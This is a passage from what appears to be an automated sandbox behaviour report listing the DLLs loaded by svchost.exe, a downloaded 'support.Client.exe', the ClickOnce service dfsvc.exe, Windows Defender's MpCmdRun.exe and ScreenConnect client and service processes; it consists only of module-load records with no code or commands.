Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: windows.networking.connectivity.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: synccontroller.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pimstore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: aphostclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: accountaccessor.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: systemeventsbrokerclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userdatalanguageutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mccsengineshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cemapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userdatatypehelperutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: phoneutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Downloads\support.Client.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: uiautomationcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: smartscreenps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: shdocvw.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: thumbcache.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: dfshim.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: samlib.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Section loaded: dnsapi.dll
